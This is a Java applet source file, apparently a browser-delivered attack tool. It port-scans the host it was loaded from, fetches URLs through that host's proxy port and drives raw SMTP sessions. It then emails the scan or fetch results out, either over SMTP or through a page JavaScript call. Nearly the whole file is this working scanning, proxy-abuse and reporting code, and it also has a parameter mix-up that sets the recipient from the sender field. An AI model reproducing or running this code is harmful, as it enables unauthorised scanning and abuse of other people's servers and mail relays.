import java.applet.*;
import java.util.*;
import java.awt.*;
import java.net.*;
import java.io.*;
import netscape.javascript.*;

public class app extends Applet {

  protected JSObject win;
  protected String server = "";
  protected String openports = "";
  protected int smtp_port = 25;
  protected int http_port = 80;
  protected int proxy_port = 3128;
  protected int start_port = 0;
  protected int end_port = 0;
  protected String helo_line = "helo me.com";
  protected String from_email = "me@me.com";
  protected String to_email = "you@you.com";
  protected String email_mode = "script";
  protected String http_request_list = "";
  protected String applet_mode = "smtp";
  protected String message = "Default test.";

  public void init() {

//create the JSObject comm 
    win = JSObject.getWindow(this);

//now assign all the params from the frame we are currently loaded. 
    server = getParameter("server");
    smtp_port = Integer.parseInt(getParameter("smtp_port"));
    http_port = Integer.parseInt(getParameter("http_port"));
    proxy_port = Integer.parseInt(getParameter("proxy_port"));
    start_port = Integer.parseInt(getParameter("start_port"));
    end_port = Integer.parseInt(getParameter("end_port"));
    from_email = getParameter("from_email");
    helo_line = getParameter("helo_line");
    to_email = getParameter("from_email");
    email_mode = getParameter("email_mode");
    http_request_list = getParameter("http_request_list");
    applet_mode = getParameter("applet_mode");
  } public void start() {

    System.out.println("We are starting up...");
//figure out what mode we are in 

//if smtp go to the doSMTP method 
    if (applet_mode.equals("smtp")) {
      doSmtp();

    } else if (applet_mode.equals("http")) {
//if http go to the doHTTP method 

      doHttp();

    } else if (applet_mode.equals("nmap")) {

      doNmap();

    } else {
    }

  }

  public void sendEmail(String message) {

    if (email_mode.equals("script")) {
//if smtp method is by script, call the javascript func sendContentOverWeb() 
//this check is needed for HTTP mode of the applet. 
      System.out.println("Calling sendContentOverWeb...");
      win.call("sendContentOverWeb", null);

    } else {
//else send by opening a network connection back to server we came 
      System.out.println("Calling server " + server);
      String inline = "";
      String outline = "";
      try {

        InetAddress addr = InetAddress.getByName(server);
        Socket sock = new Socket(addr, smtp_port);

        BufferedReader in =
          new BufferedReader(new InputStreamReader(sock.getInputStream()));
        BufferedWriter out =
          new BufferedWriter(new OutputStreamWriter(sock.getOutputStream()));
        //read in server's welcome 
        inline = in.readLine();
        System.out.println(inline);
        //write out helo line 
        out.write(helo_line + "\n");
        out.flush();
        //read in server response 
        inline = in.readLine();
        System.out.println(inline);
        out.write("mail from:" + from_email + "\n");
        out.flush();
        inline = in.readLine();
        System.out.println(inline);
        out.write("rcpt to:" + to_email + "\n");
        out.flush();
        inline = in.readLine();
        System.out.println(inline);
        out.write("data" + "\n");
        out.flush();
        //write out the message 
        out.write(message + "\n");
        out.flush();
        out.write(".\n");
        out.flush();
        //read in server response 
        inline = in.readLine();
        System.out.println(inline);
        out.write("quit\n");
        out.flush();
        sock.close();
      }
      catch(Exception e) {
        System.out.println("SMTP Error: " + e);
      }
    }
  }

  public void doSmtp() {

//first figure out which smtp mode we are using 
    if (email_mode.equals("script")) {
//if script-mode, call our frame's javascript func sendContentOverWeb() 
      win.call("sendContentOverWeb", null);

    } else {
//else if smtp mode, call our frame's javascript func sendMessage() 
      win.call("sendMessage", null);
    }
  }

  public void doHttp() {

    StringTokenizer tk = new StringTokenizer(http_request_list, "|");
//for each url 
    while (tk.hasMoreTokens()) {
      getURL(tk.nextToken());
    }
  }

  public void getURL(String url) {
    String url_code = "";
    String inline = "";

    System.out.println("Contacting proxy server...");
    try {
      InetAddress addr = InetAddress.getByName(server);
      Socket sock = new Socket(addr, proxy_port);

      BufferedReader in =
        new BufferedReader(new InputStreamReader(sock.getInputStream()));
      BufferedWriter out =
        new BufferedWriter(new OutputStreamWriter(sock.getOutputStream()));

      String str = "";
      out.write("GET " + url + " HTTP/1.1\n");
      out.write("\n");
      out.flush();
      while ((str = in.readLine()) != null) {
        url_code += str;
      }
      out.close();
      in.close();
    }
    catch(Exception pe) {
      System.out.println("Proxy error: " + pe);
    }

    System.out.println(url_code);

    sendEmail(url_code);
  }

  public void doNmap() {

    System.out.println(start_port + " " + end_port);
    openports = "The following ports are open on " + server + ": ";
    for (int i = start_port; i < end_port; i++) {

      try {

        InetAddress addr = InetAddress.getByName(server);
        Socket sock = new Socket(addr, i);
        openports += i + " ";
      } catch(Exception me) {
        System.out.println("Port " + i + " is closed.");
      }

    }                           //end for loop 
    sendEmail(openports);
  }                             //end doNmap 

  public void stop() {
  }
  public void destroyed() {
  }
  public void paint(Graphics g) {
  }
}                               //end applet